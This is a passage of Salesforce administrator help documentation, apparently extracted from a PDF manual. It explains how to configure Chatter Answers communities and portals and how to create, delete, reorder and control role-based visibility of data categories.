2. Create one category group for all of your communities so that youre less likely to reach the limit of three active data
categories. Then add a child category for each community; and add child categories to those categories to provide topics.
3. Activate the category group you want available to Chatter Answers so that users can access it.
4. Grant Read permissions to specific article types on the profiles of Chatter Answers users so that they can access articles
from your communities.

1556

Customize

Setting Up Chatter Answers

5. Optionally, allow support agents to promote replies to draft articles in the knowledge base so that your support team can
capture useful information quickly.

See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Overview of Roles
About Category Group Visibility
Creating and Modifying Category Groups

Configuring a Chatter Answers Community


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To configure a Chatter Answers community:

Customize Application

Configure a Chatter Answers community to integrate the user authentication features of the Customer Portal with the domain
and public data features of a Force.com site.
1.
2.
3.
4.
5.
6.

Click Your Name > Setup > Customize > Chatter Answers > Communities.
Select an existing community, or click New to create a new community.
Type a name and description for your community.
Click Active to activate the community for ideas, answers, or Chatter Answers.
In Portal, choose the Customer Portal in which to authenticate community members.
Optionally, in Portal Email Notification URL, customize the portal URL thats included in email notifications
sent from the community.
This field only displays if youve chosen to show Chatter Answers in a Customer Portal. The URL is automatically generated
to include your portals ID and a question or case ID; but you might want to customize the URL to redirect users to a
specific login page. For example, if youve created a login page from which users can access multiple communities, you can
customize Portal Email Notification URL to redirect users to that page from email notifications.

7. Click Enable This Community for Chatter Answers to associate the community with Chatter Answers.
8. Click Enable Private Questions to let customers post their questions privately to customer support (create cases). If you
dont select this setting, support agents can still initiate private communications with customers.
9. In Data Category for Top-Level Topics, choose the top-level topic in which customers and support agents can
categorize and filter questions and knowledge articles.
10. In Site That Hosts Your Community, click
community.

and choose the Force.com site on which you want to host the

11. In Visualforce Page That Hosts Your Communitys Feeds, click


which questions, replies, and knowledge articles display.

and choose the Visualforce page on

1557

Customize

Setting Up Chatter Answers

The page you choose must include the chatteranswers:allfeeds component so that the community is linked to
your Force.com site correctly. If you dont choose a Visualforce page, one is automatically generated when you save your
community. The generated page includes your communitys ID so that topics, questions, and replies are associated with
your specific community and can display on it. The page is named after your community with a suffix of _main, for
example, CommunityName_main. The page also includes a language attribute that matches your organizations default
language.
12. Optionally, in Header or Footer, click and choose a text or HTML file that incorporates your organizations branding
into the headers or footers of email notifications sent from the community.
You can only choose a file that has been uploaded to a publicly accessible folder on the Documents tab and marked
Externally Available Image. The files you include in the fields can have a combined size of up to 10 KB.
13. Click Save.
Note: You can create a community for each product you want to support. If you create multiple communities, your
portal users have access to all of them. Each question a user creates is associated with the community in which its
posted, and the community name is added to each question so that users and support agents can see where it originated.
Users can view all of the questions theyve posted to your communities by clicking My Questions from any community.
You only need one Force.com site and one Customer Portal to support multiple communities.

See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Managing Data Categories

Troubleshooting Chatter Answers Setup


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view Setup:

View Setup and Configuration

To set up Chatter Answers:

Customize Application

After you set up a Chatter Answers community, you can view a snapshot of all of its configurations on one page so that you
dont have to visit several pages in setup to diagnose issues.
1. Click Your Name > Setup > Customize > Chatter Answers > Sites Settings.
2. In the Site Snapshot column, click View next to the Force.com site associated with your community.
3. Click
to show or
to hide various settings.
4. Click Go! to go to a specific page in setup where you can change settings.

1558

Customize

Setting Up Chatter Answers

For example, you can use a site snapshot to see if the Force.com site hosting your community is marked Active or to verify
the names of the user profiles assigned to your communitys Customer Portal.

See Also:
Chatter Answers Implementation Overview
Chatter Answers Users Overview
Setting Up Chatter Answers

Adding Chatter Answers to a Portal


Available in: Enterprise and Unlimited Editions

You can add Chatter Answers to an existing Customer Portal or Partner Portal so that portal users can access Chatter Answers
communities from one of your established channels. After users log in to one of your portals, they can access Chatter Answers
from a tab and choose which community to view from a drop-down list. If you only want to display Chatter Answers in your
portals, then you dont need to set up a Force.com site to host Chatter Answers. However, a site lets guest users access some
Chatter Answers data without a login, whereas portals do not.
The following occurs to Chatter Answers when it appears in a portal:

Chatter Answers displays as a tab, which you can rename.


A drop-down list lets portal users switch between all of your Chatter Answers communities.
The My Settings link for users is replaced by Enable Emails and Disable Emails.
Sign In and Sign Up are removed because portal users can only view Chatter Answers after theyve logged in to your portal.
Chatter Answers displays a look and feel, which you cant customize.
The Need help? link is removed.

To add Chatter Answers to a portal, see:

Adding Chatter Answers to a Customer Portal


Adding Chatter Answers to a Partner Portal

See Also:
Setting Up Chatter Answers
Setting Up Your Customer Portal
Partner Portal Overview

1559

Customize

Setting Up Chatter Answers

Adding Chatter Answers to a Customer Portal


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To add Chatter Answers to a Customer Portal:

Customize Application

You can add Chatter Answers to an existing Customer Portal so that portal users can access Chatter Answers communities
from one of your established support channels.
1. Enable Chatter Answers for portals:
a.
b.
c.
d.

Click Your Name > Setup > Customize > Chatter Answers > Settings.
Click Edit.
Select Show Chatter Answers in Portals.
Click Save.

2. Edit Customer Portal user profiles to support Chatter Answers:


a.
b.
c.
d.
e.

Click Your Name > Setup > Manage Users > Profiles.
Click Edit next to a portal user profile.
In Tab Settings, choose Default On for Chatter Answers.
In Standard Object Permissions, click Read and Create on Questions.
Click Save.

3. Add the Chatter Answers User feature license to Customer Portal users:
a.
b.
c.
d.

Click Your Name > Setup > Manage Users > Users.
Click Edit next to a portal user.
Click Chatter Answers User.
Click Save.

4. Add Chatter Answers as a tab to your Customer Portal:


a.
b.
c.
d.
e.

Click Your Name > Setup > Customize > Customer Portal > Settings.
Click the name of a Customer Portal.
Click Customize Portal Tabs.
Select Chatter Answers and click the Add arrow to move the Chatter Answers tab into the Selected Tabs box.
Click Save.

5. Optionally, rename the Chatter Answers tab for your Customer Portal:
a.
b.
c.
d.

Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels.
Click Edit next to Questions.
Click Next.
In Other Labels, rename Chatter Answers. You can only rename it as Singular, not Plural.

1560

Customize

Setting Up Chatter Answers

e. Click Save.

See Also:
Adding Chatter Answers to a Portal

Adding Chatter Answers to a Partner Portal


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To add Chatter Answers to a Partner Portal:

Customize Application

You can add Chatter Answers to an existing Partner Portal so that portal users can access Chatter Answers communities from
one of your established partner channels.
1. Enable Chatter Answers for portals:
a.
b.
c.
d.

Click Your Name > Setup > Customize > Chatter Answers > Settings.
Click Edit.
Select Show Chatter Answers in Portals.
Click Save.

2. Edit Partner Portal user profiles to support Chatter Answers:


a.
b.
c.
d.
e.

Click Your Name > Setup > Manage Users > Profiles.
Click Edit next to a portal user profile.
In Tab Settings, choose Default On for Chatter Answers.
In Standard Object Permissions, click Read and Create on Questions.
Click Save.

3. Add the Chatter Answers User feature license to Partner Portal users:
a.
b.
c.
d.

Click Your Name > Setup > Manage Users > Users.
Click Edit next to a portal user.
Click Chatter Answers User.
Click Save.

4. Add Chatter Answers as a tab to your Partner Portal:


a.
b.
c.
d.
e.

Click Your Name > Setup > Customize > Partners > Settings.
Click the name of a Partner Portal.
Click Customize Portal Tabs.
Select Chatter Answers and click the Add arrow to move the Chatter Answers tab into the Selected Tabs box.
Click Save.

5. Optionally, rename the Chatter Answers tab for your Partner Portal:
a. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels.
b. Click Edit next to Questions.

1561

Data Categories

What are Data Categories?

c. Click Next.
d. In Other Labels, rename Chatter Answers. You can only rename it as Singular, not Plural.
e. Click Save.

See Also:
Adding Chatter Answers to a Portal

DATA CATEGORIES
What are Data Categories?
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Data categories can be used by Salesforce Knowledge (articles and article translations) and answers communities (questions)
to help users classify and find articles or questions. Administrators can use data categories to control access to articles and
questions.
Salesforce Knowledge supports a five-level hierarchy of data categories within each category group. You can classify articles
in the knowledge base according to multiple categories that make it easy for users to find the articles they need. For example,
to classify articles by sales regions and business units, create two category groups, Sales Regions and Business Units. The Sales
Regions category group could consist of a geographical hierarchy, such as All Sales Regions as the top level, North America,
Europe, and Asia at the second level, and so on.
In an answers community, data categories help organize questions for easy browsing. Each community supports one category
group. For example, if you're a computer manufacturer you might create a Products category group that has four sibling
categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. On the Answers tab,
community members can assign one of the four categories to each question and then browse these categories for answers to
specific questions.
Benefits of Data Categories
Logical Classification of Articles
As a knowledge base administrator, you can organize your knowledge base articles into a logical hierarchy and tag articles
with the attributes that are significant to your business.

1562

Customize

What are Data Categories?

Easy Access to Questions


As an answers community administrator, you can choose which data categories are visible on the Answers tab. Community
members can tag a question with a category, which makes finding questions and answers easier for other members.
Role-Based Control of Article and Question Visibility
As a knowledge base or answers community administrator, you can centrally control the visibility articles or questions
by mapping roles in the role hierarchy to categories in the category groups. When an article or question is categorized,
users in mapped roles can automatically see it.
Article Filtering
As a support agent, when articles are classified into logical categories, you can quickly and easily locate the article you
need by filtering your organization's knowledge base. To ensure you see all relevant articles, filtering by category has
expansive results that include a category's upward and downward relatives in the category hierarchy. For example, if your
category hierarchy for products has the levels All Products > Computers > Laptops > Gaming Laptops and you are
helping a customer with a laptop problem, filtering by Laptops returns articles classified with Laptops as well as articles
classified with Computers, All Products, or Gaming Laptops. Effectively, you are made aware of useful related articles
like a free shipping offer for all products or an upgrade offer for gaming laptops. (To prevent irrelevant results, category
filtering doesn't return nonlineal relatives like siblings and cousins. Articles about Desktops, a sibling of Laptops, would
not display.)
Article and Question Navigation
As an end user, you can navigate the categories on the Articles tab or Answers tab to find the information you need to
solve your problem.
Managing Category Groups for Articles and Questions
If your organization has Salesforce Knowledge and an answers community, you can create separate category groups or
use the same category group for articles and questions.
Overview of Data Categories in Articles
A category group is the container for a set of categories. In Salesforce Knowledge it corresponds to the name of the category
drop-down menus. For example, if you use the Data Categories setup page (Your Name > Setup > Customize > Data
Categories) to create and activate a category group called Products, a Products menu displays on the Article Management
tab, the article edit page, the Articles tab in all channels, and the public knowledge base.
As an illustration, the figure below shows a knowledge base administrator's view of an article about laptop deals; using the
article edit page, the administrator has classified the article with Laptops in the Products category group, and USA in the
Geography category group.

Figure 10: An Article About Laptop Deals on the Article Management Tab
The next figure now illustrates an agent finding that same article published on the Articles tab; the agent has selected Laptops
and USA respectively in the Products and Geography drop-down menus to retrieve an article that is classified with both
Laptops and USA.

1563

Customize

What are Data Categories?

Figure 11: An Article About Laptop Deals on the Articles Tab


When you add categories to a category group, you build a hierarchy that can contain up to five levels of depth and up to 100
categories total. Each category can have one parent, many siblings, and many children. A robust and well-organized category
hierarchy helps users find the articles that are relevant to them quickly and easily.
By default, all Salesforce Knowledge users with a role have access to all categories; however, you can restrict category visibility
by role.
Overview of Data Categories in Answers Communities
An answers community supports one category group, and community members can assign one category to each question. Even
though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported
in your answers community. Child categories below the first level are not displayed in the community, and community members
can't assign these child categories to questions. The categories within the group display on the Answers tab below the community
name.

Figure 12: Answers tab displaying categories


By default, all community members have access to all categories; however, you can specify category visibility by role.
Implementation Tips
Consider the following information when planning and implementing data categories for your organization:

You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group
can contain a total of 100 categories.

1564

Customize

What are Data Categories?

If you want to use data categories in an answers community, after creating your category group you must assign it to a
community at Your Name > Setup > Customize > Answers > Data Category Assignments. You can only assign one
category group to an answers community. Salesforce Knowledge supports multiple category groups.
Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is
supported in your answers community. Child categories below the first level are not displayed in the community, and
community members can't assign these child categories to questions. Salesforce Knowledge supports a hierarchy of data
categories.
Category groups are hidden from users until they are activated. Do not activate a category group until you have finished
defining its categories and their access settings, including their mapping to roles.
When assigning categories to articles, you can choose up to eight categories in a category group.
If an article has no categories, it displays only when you choose the No Filter option in the category drop-down menu.
When searching for articles or article translations, selecting a category automatically includes the parent and children of
that category and any grandparents, up to and including the top level. Sibling categories are not included. For example, if
a category hierarchy has the levels All Products, Switches, Optical Networks, and Metro Core, selecting Optical Networks
from the category drop-down menu returns articles assigned to any of the four categories. However, if the Switches category
has a sibling category called Routers, selecting Optical Networks does not return articles classified within Routers.
Category visibility settings may limit the specific articles you can find.
Once role-based visibility settings have been chosen for the categories:
Users who are not assigned to a role can only see uncategorized articles and questions unless default category visibility
has been set up.
By default Customer Portal users and partner portal users inherit the category group visibility settings assigned to their
account managers. You can change the category group visibility settings for each portal role.
If you only have access to one category in a category group, the category drop-down menu for that category group does
not display on the Articles tab.

Deleting a category:
Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
Permanently deletes its child categories.
As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles
tab in all channels, and your company's public knowledge base.
Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.

Deleting a category group:


Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not
edit them. It holds category groups for 15 days before they are permanently erased and cannot be recovered. During
the 15day holding period, you can either restore a category group, or permanently erase it immediately.
Deletes all categories within that group.
Removes all associations between the group's categories and articles or questions.
Removes all associations between the group's categories and roles.
As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management
tab, and your company's public knowledge base.

You can translate the labels of categories and category groups using the Translation Workbench.

Best Practices
Consider the following tips when using data categories:

1565

Customize

Managing Data Categories

To quickly manage data categories, use keyboard shortcuts.


After creating or updating categories, set up category group visibility rules.
Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

See Also:
Managing Data Categories
Salesforce Knowledge Overview

Managing Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1562
Click Your Name > Setup > Customize > Data Categories to view the Data Categories page where you can:

Create a category group. A category group is the container for a set of categories. In Salesforce Knowledge it appears as
the name of the category drop-down menu on the Article Management and Articles tabs. For example, if you create two
category groups called Geography and Products, the Article Management and Articles tabs will have two category menus
from which to pick specific categories: Geography and Products. In answers communities, the name of the category group
does not display on the Answers tab.
Add categories to a category group. After creating a category group, you can create a hierarchy of categories within that
group. These are the values that users select when assigning a category to an article or question and when searching for
articles or questions.
Modify existing categories. You can change a category's name, update its other attributes, move it to another location in
the hierarchy, or reorder categories alphabetically.
Delete a category group. You can delete, restore, or permanently erase a category group.
Delete a category. You can permanently remove any category.
Translate categories. You can translate your categories with the languages you want to support.
Hover over a category group to view its properties and see whether it is used in Salesforce Knowledge or an answers
community.

1566

Customize

Creating and Modifying Category Groups

Note: By default, Salesforce Knowledge users and answers community members have access to all articles and questions
associated with any category. If you want to restrict access to articles and questions, you can modify visibility settings
for data categories.

See Also:
Creating and Modifying Category Groups
Deleting and Undeleting Category Groups
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories
Salesforce Knowledge Terminology

Creating and Modifying Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Category groups can be used by Salesforce Knowledge (articles) or answers communities (questions). In both cases, category
groups are containers for individual data categories. For example, a Contracts category group might contain Fixed Price, Cost
Reimbursement, and Indefinite Delivery categories. For more information, see What are Data Categories? on page 1562
To create or edit a category group:
1. Click Your Name > Setup > Customize > Data Categories.
2. To create a new category group, click Create New in the Category Groups section. By default, you can create a maximum
of five category groups and three active category groups. Contact salesforce.com to request additional category groups.
To edit an existing category group, hover your cursor over the category group name and then click the Edit Category
Group icon (

).

3. Specify the Group Name. This name appears as the title of the category drop-down menu on the Article Management
and Articles tabs, and, if applicable, in the public knowledge base. The Group Name does not appear on the Answers tab.
4. Optionally, modify the Group Unique Name. This is a unique name used to identify the category group in the SOAP
API.
5. Optionally, enter a description of the category group.
6. Click Save. You receive an email after the save process completes.
You can now add categories to your category group. When you create a new category group, Salesforce automatically creates
a top-level category in the group named All. Optionally, double-click All to rename it.

1567

Customize

Deleting and Undeleting Category Groups

Activating Category Groups


When you add a new category group, it's deactivated by default and only displays on the administrative setup pages for Data
Categories and Roles. Keep your category groups deactivated to set up your category hierarchy and assign role-based category
visibility. Until you manually activate a category group, it does not display in Salesforce Knowledge or your answers community
In addition to activating the category group, for answers communities you must assign the category group to a community
before the categories are visible on the Answers tab.
To activate a category group so it is available to users, move the mouse pointer over the name of the category group and click
the Activate Category Group icon (

).

See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Deleting and Undeleting Category Groups
Managing Articles and Translations
About Category Group Visibility

Deleting and Undeleting Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Caution: Deleting a category group deletes all of its categories and removes all associations between the categories
and articles or questions. Read this entire topic carefully to understand the consequences of deleting category groups.
To delete a category group:
1. Click Your Name > Setup > Customize > Data Categories.
2. Hover your cursor over the category group name.
3. Click the Delete Category Group icon (
).
4. Select the checkbox in the confirmation dialog, then click OK.
Consequences of Deleting Category Groups
Deleting a category group:

Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit
them. It holds category groups for 15 days before they are permanently erased and cannot be recovered. During the 15day
holding period, you can either restore a category group, or permanently erase it immediately.
Deletes all categories within that group.

1568

Customize

Adding Data Categories to Category Groups

Removes all associations between the group's categories and articles or questions.
Removes all associations between the group's categories and roles.
As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management tab,
and your company's public knowledge base.

Undeleting Category Groups


To restore a deleted category group:
1. In the Removed Category Groups section, hover your cursor over the category group name.
2. Click the Undelete Category Group icon (

).

The category group moves to the Category Groups section as an inactive category group, and associations with articles,
questions, and roles are restored.

See Also:
Creating and Modifying Category Groups
Managing Data Categories

Adding Data Categories to Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1562
By default, for each category group you can create up to 100 categories and organize those categories into up to five hierarchy
levels. To request additional categories or hierarchy levels, contact salesforce.com.
Note: Because only first-level data categories display on the Answers tab, when creating data categories for an answers
community ensure that the categories you want visible have a sibling relationship and not a parent-child relationship.
To add categories to a category group:
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Data Categories.
Click the category group name.
Click a category that is directly above where you want to add a category (a parent), or at the same level (a sibling).
Click Actions, then select an action: Add Child Category or Add Sibling Category.
Enter a category name.

1569

Customize

Modifying and Positioning Data Categories

If possible, Salesforce automatically reuses the name you entered as the Category Unique Name, a system field which
the SOAP API requires.
6. Click Add. Alternatively, press Enter.
7. Click Save. Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.
Tip: By default, all Salesforce Knowledge users and answers community members can see all categories within an
active category group. You can restrict category visibility after you have set up your data categories to ensure that users
only access articles and questions that you want them to see.

See Also:
Managing Data Categories
Modifying and Positioning Data Categories
Deleting Data Categories
Keyboard Shortcuts For Data Categories

Modifying and Positioning Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Caution: Modifying categories can result in long processing times, changes to the visibility of articles, changes to the
categorization of articles and questions, and other significant consequences. Read this entire topic carefully before
modifying categories.
To modify the data categories in a category group and their positions in the hierarchy:
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Data Categories.
Click a category group name.
Optionally, click Expand All to display the full category hierarchy, or Collapse All to display only the top-level categories.
Double-click a category to edit its name or its unique API name.
Use drag-and-drop editing to reposition a category in the hierarchy. As you drag, a red icon indicates an invalid destination,
while a green icon indicates a valid destination:

Drag a category on top of another category to reposition it as a child of the destination category. For example, drag
USA on top of North America to make USA one level below North America. After dragging, the category displays
below the other child categories at that level.
Drag a category to a line that borders another category to reposition it as a sibling of that category. For example, to
position USA between Canada and Mexico, drag it to the line between Canada and Mexico.

1570

Customize

Modifying and Positioning Data Categories

6. Hover your cursor over a category name, then choose Order Child Categories Alphabetically from the
Actions drop-down list to reorder that category's children in alphabetical order. This only affects the first level children,
not grandchildren or deeper levels.
7. As you modify the category hierarchy, click Undo to cancel your last actions. Similarly, click Redo to step forward through
your flow of performed actions.
8. Click Save. You will receive an email when the save process completes.
Note: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to
save.

The save process recalculates the following:

The contents of the category drop-down menu.


The articles and questions visible to each role.
The articles and questions associated with categories.
Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or questions or using category drop-down lists.

Example: How Changing the Hierarchy Affects Article Visibility


Changing the category hierarchy potentially changes which articles users can see. When a category moves to a new parent
category, roles that have no visibility on the new parent category lose their visibility to the repositioned category. In the example
shown in the following graphic, the category PDAs moves from the original parent category Computers to the new parent
category Consumer Electronics.

Figure 13: Moving the category PDAs

1571

Customize

Modifying and Positioning Data Categories

To understand how this change affects which roles can see articles classified with the PDAs category, see the following table.
When my
role is
mapped to:

Could I see
PDA articles in
their old
location under
Computers?

Can I see PDA


Why?
articles in their
new location under
Consumer
Electronics?

All products Yes

Yes

When your role is mapped to the top-level All products category,


you can see everything in the category hierarchy.

Computers

Yes

No

You don't have access to the branch of the category hierarchy where
PDAs is now located.

Consumer
Electronics

No

Yes

PDAs has moved to the branch of the category hierarchy where you
have been granted access.

Example: How Changing the Hierarchy Affects Article Classification


Classifying an article with a parent category implicitly grants access to that category's children. You cannot explicitly apply
both a parent category and one of its children to an article. From the article edit page, selecting a parent category grays out its
child categoriesyou cannot select them in addition to the parent category. Salesforce respects this fact when you move a
category to a new parent. It prevents explicitly adding a child category to an article when the new parent category is already
present.
In the example depicted above, the category PDAs moves from the original parent category Computers to the new parent
category Consumer Electronics. As a result, articles' classifications may or may not change:

Articles formerly classified with both Consumer Electronics and PDAs lose PDAs, because having Consumer Electronics
now implies having PDAs.
Articles formerly classified with only Consumer Electronics but not PDAs do not change. Access to PDAs is now implied.
Articles formerly classified with only PDAs, but not Consumer Electronics, retain PDAs.

See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Deleting Data Categories
Keyboard Shortcuts For Data Categories

1572

Customize

Deleting Data Categories

Deleting Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Caution: Deleting categories can result in long processing times, changes to the visibility of articles and questions,
changes to the categorization of articles and questions, and other significant consequences. Read this entire topic
carefully before deleting categories.
To delete a category:
1.
2.
3.
4.
5.
6.

Click Your Name > Setup > Customize > Data Categories.
Click a category group name.
Click a category name. If necessary, click Expand All to display all categories in the category group.
Press DELETE, or choose Delete Category from the Actions drop-down list.
Click OK in the confirmation dialog box.
Choose how you want to reclassify articles associated with the deleted category or the deleted category's children:

Assign the deleted category's parent category.


Assign a different category. You can select any other category in this category group.
Note: The category you select cannot be deleted itself before you save your work.

Do not assign the articles a new category in this category group.

In all cases, the articles retain their categories from other category groups.
7. Click Save.
Deleting a category:

Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
Permanently deletes its child categories.
As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab
in all channels, and your company's public knowledge base.
Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.

1573

Customize

Keyboard Shortcuts For Data Categories

Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or questions or using category drop-down lists.

See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Keyboard Shortcuts For Data Categories

Keyboard Shortcuts For Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page:

View Data Categories

To create, edit, or delete data categories:

Manage Data Categories

Use the following keyboard shortcuts to work quickly with data categories.
Task

Action

Keyboard Shortcut

Adding a category

Add a sibling to the selected category

ENTER

Add a child to the selected category

ENTER+TAB

Close the Add Category field

ESC

Save changes in the Add Category field

ENTER

Modifying a category

Open the Edit Category field for the selected category SPACEBAR
Close the Edit Category field.

ESC

Save changes in the Edit Category field

ENTER

Demote a category down one level, as a child of the


sibling currently above it

TAB

Promote a category up one level, as a sibling to its


current parent

SHIFT+TAB

Deleting a category

Delete the selected category and its children

DELETE

Navigating in the category


hierarchy

Move the focus up in the category hierarchy

UP ARROW

Demoting or promoting a
category

1574

Customize

About Category Group Visibility

Task

Canceling or repeating an
action

Saving the changes

Action

Keyboard Shortcut

Move the focus down in the category hierarchy

DOWN ARROW

Collapse children in a parent category

LEFT ARROW

Expand children in a parent category

RIGHT ARROW

Undo the last action

CTRL+Z

Redo the last action

CTRL+Y

Save the last changes in the category hierarchy

CTRL+S

See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories

About Category Group Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details:

View Setup and Configuration

To edit and delete roles:

Manage Users

To view users:

View Setup and Configuration

To edit users:

Manage Users

To view categories:

View Data Categories

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

Role-based category visibility


Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.

1575

Customize

About Category Group Visibility

Enforcement of Visibility Settings


To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting a
category as visible makes that category and its entire directly related family lineancestors, immediate parent, primary children,
other descendantsvisible to users. For example, consider a Geography category group with continents such as Asia and
Europe at the top level, various countries at the second level, and cities at the third level. If France is the only visible category
selected, then you can see articles classified with Europe, France, and all French cities. In other words, you can see categories
that have a direct vertical relationship to France but you cannot see articles classified at or below Asia and the other continents.
Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography example,
only the continent categories appear on the Answers tab; therefore, if France is the category selected as visible in
category group visibility settings, community members can see questions classified with Europe.
Category group visibility settings are enforced on the Answers tab, the Article Management tab, the Articles tab in all channels
(internal app, partner portal, and Customer Portal), and the public knowledge base. In the following areas, users only see the
categories that their visibility settings allow:

On the Article Management tab, when creating or editing articles


On the Article Management tab and the Articles tab, the category drop-down menu for finding articles
On the Answers tab, the categories listed below the community name

Initial Visibility Settings


If roles have not been set up, all users can see all data categories. If a role hierarchy exists but the category group visibility
settings have not been modified, all roles have access to all data categories. Users who are not assigned to a role only see
uncategorized articles and questions unless you make the associated categories visible by default. Role-based visibility settings
restrict default visibility settings; in other words, even if a data category is visible by default, it cannot be seen by a user whose
role restricts access to that data category.
Inheritance of Role-Based Visibility Settings
Child roles inherit their parent role's settings and are kept in sync with changes to the parent role. You can customize and
reduce the child role's visibility, but you cannot increase it to be greater than that of the parent role. By default, Customer
Portal users and partner portal users inherit the category group visibility settings assigned to their account managers. You can
change the category group visibility settings for each portal role. Because high-volume portal users don't have roles, you must
designate default visibility settings before these users can view categorized articles and questions.
Visibility of Categorized Articles
A user can see an article if he or she can see at least one category per category group on the article. For example, consider an
article that is classified with California and Ohio in the Geography category group and Desktop in the Products category
group:

If you have visibility on Ohio and Desktop (but not California), you can see the article.
If you don't have visibility on either California or Ohio but do have visibility on Desktop, you do not see the article.
If you have visibility on California but not Desktop, you do not see the article.

Revoked Visibility
A role's visibility can be revoked (set to None) for a particular category group. Users in the target role can only see articles and
questions that aren't classified with a category in that category group. For example, if a user's role has revoked visibility in the
Geography category group but visibility to the Products category group, he or she can only see articles that have no categories
in Geography and are classified with a category in Products. Because an answers community can only be assigned to one

1576

Customize

Editing Role-Based Category Group Visibility

category group, if the Geography category group was assigned to the community and a member's role visibility was revoked
for that group, the member could only see uncategorized questions.

See Also:
What are Data Categories?
Editing Role-Based Category Group Visibility
Modifying Default Data Category Visibility
Examples of Category Group Visibility Settings for Articles
Viewing Category Group Visibility on Roles

Editing Role-Based Category Group Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details:

View Setup and Configuration

To edit and delete roles:

Manage Users

To view users:

View Setup and Configuration

To edit users:

Manage Users

To view categories:

View Data Categories

Watch a Demo (2 minutes)


In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

Role-based category visibility


Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To edit a role's category group visibility setting:
1. Click Your Name > Setup > Manage Users > Role and select a role. If the role is for a Customer Portal or partner portal
user, click Your Name > Setup > Manage Users > Users and click the name of the role.
2. In the Category Group Visibility Settings related list, click Edit next to the category group you want to modify. Alternatively,
click the name of a category group and then click Edit.
3. Select a visibility setting:

1577

Customize

Editing Role-Based Category Group Visibility

Visibility Setting

Description

All

Users can see all categories in the category group. This option is only available for the topmost role
in the role hierarchy. When you create a new category group, its visibility is defaulted to All for
